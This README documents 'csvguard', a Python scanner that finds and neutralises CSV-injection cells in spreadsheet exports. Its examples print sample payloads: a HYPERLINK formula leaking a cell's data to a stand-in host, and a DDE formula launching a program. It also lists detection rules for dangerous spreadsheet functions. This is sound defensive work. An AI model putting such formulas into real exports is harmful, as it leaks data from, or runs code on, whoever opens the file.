Stop a CSV export from running code on whoever opens it. If a cell starts with =, +, - or @, Excel, LibreOffice and Google
Sheets may treat it as a formula: =HYPERLINK(...) leaks data to a URL, =cmd|' /C calc'!A0 can launch a program. When your app exports
user-supplied text as CSV, that is "CSV injection". csvguard finds those cells (with coordinates) and can write a copy where each one is
neutralised with a leading apostrophe. It only reads the input and never overwrites anything.
$ csvguard contacts.csv
contacts.csv: 5 rows, up to 3 columns, utf-8, delimiter comma
HIGH dangerous-function B2 (row 2, col 2) =HYPERLINK("http://example.test/?q="&A2,"click")
formula calls HYPERLINK(), which can reach the network or run code
HIGH dde B3 (row 3, col 2) =cmd|' /C calc'!A0
DDE pattern: can launch a program when the file is opened
MEDIUM formula-prefix B4 (row 4, col 2) @SUM(1+1)
starts with '@', evaluated as a formula by spreadsheets
LOW sign-prefixed-text B5 (row 5, col 2) -Alice
starts with '-'; spreadsheets may try to parse it as a formula
$ csvguard --sanitize clean.csv contacts.csv > /dev/null
$ cat clean.csv
name,note,amount
alice,"'=HYPERLINK(""http://example.test/?q=""&A2,""click"")",-5
bob,"'=cmd|' /C calc'!A0",+1.5
carol,'@SUM(1+1),12
dave,'-Alice,3
$ csvguard clean.csv
clean.csv: 5 rows, up to 3 columns, utf-8, delimiter comma
clean
Note that -5 and +1.5 in the amount column were left alone: plain numbers are not findings (use --strict to flag them too). One
file, standard library only, Python 3.9+.
python3 csvguard.py export.csv
python3 csvguard.py --json --strict export.tsv
python3 csvguard.py --sanitize export.safe.csv export.csv
cat export.csv | python3 csvguard.py -| Option | Meaning |
|---|---|
--sanitize OUT |
write a neutralised copy (one input only). Refuses if OUT exists (including symlinks) or is the input; written to a temp file, then linked into place atomically |
--strict |
also flag plainly numeric cells like -5 / +1.5 |
--delimiter |
auto (default: tab for .tsv, else comma/tab/semicolon by consistency), comma, tab, semicolon, pipe, or one character |
--encoding NAME |
encoding when there is no BOM (default UTF-8, falling back to Latin-1) |
--max-bytes SIZE |
refuse files above this size (default 128M) |
--max-cell N |
flag cells longer than N characters (default 32767, Excel's limit) |
--max-findings N |
keep at most N findings per file in the report (default 10000) |
--json |
machine-readable report |
A cell is checked after CSV parsing (so "=1+1" in quotes counts). It is flagged when its value starts with =, +, -, @, a tab or a
carriage return, or when one of those follows leading whitespace, quote characters, control characters or invisible characters
(zero-width space, BOM): obfuscated-prefix.
| Severity | Rule |
|---|---|
| HIGH | dde (cmd|...!A0, DDE(...)), dangerous-function (HYPERLINK, IMPORTXML, IMPORTHTML, IMPORTDATA, IMPORTFEED, IMPORTRANGE, WEBSERVICE, FILTERXML, EXEC, CALL, REGISTER, RTD, SHELL, IMAGE, OPENURL) |
| MEDIUM | formula-prefix (=, @, or +/- followed by formula-like text), obfuscated-prefix, tab-cr-prefix |
| LOW | sign-prefixed-text (-Alice, +1 555 0100), numeric-sign-prefix (--strict only), oversized-cell, unterminated-quote |
Findings carry cell (B2), row, col (1-based, counting CSV records) and line (physical line where the record starts). Cells that
already start with an apostrophe are treated as safe, since that is the neutralisation spreadsheets understand.
Sanitizing inserts one ' at the start of each flagged cell's value (inside the quotes for quoted cells) and leaves every other byte
unchanged, including line endings, quoting and the BOM. Output uses the same encoding as the input.
0clean1findings (also when--sanitizewrote a copy of a file that had findings)2usage error or an input/output problem (missing file, too large, undecodable, output exists)
- It looks at leading characters and known dangerous function names. A formula behind a prefix this tool does not know about is missed;
fullwidth look-alikes (
=) are not flagged because spreadsheets do not evaluate them, but some importers may. - The apostrophe neutralisation works in Excel, LibreOffice and Google Sheets. Other consumers (databases, scripts, Pandas) will see the apostrophe as data, so it is the right fix for files meant for spreadsheets only. Fixing it at export time in your application is better.
-5is treated as a number, but the number test is a pattern, not a spreadsheet's own parser; unusual formats (-1 000,-$5) are flagged assign-prefixed-text.- Files without a BOM are read as UTF-8, then Latin-1. UTF-16 without a BOM is not detected; pass
--encoding utf-16-le(or-be). - The file is read into memory (capped by
--max-bytes); cells beyond--max-cellare checked on their start only. - Header rows are scanned like any other row. It does not decide whether a flagged cell is malicious, only that a spreadsheet may run it.
python3 -m unittest -vAll test data is synthetic and built in a temp folder.
MIT (c) TPOALOS
More tools by TPOALOS: trojansrc · zipcheck · all 51 tools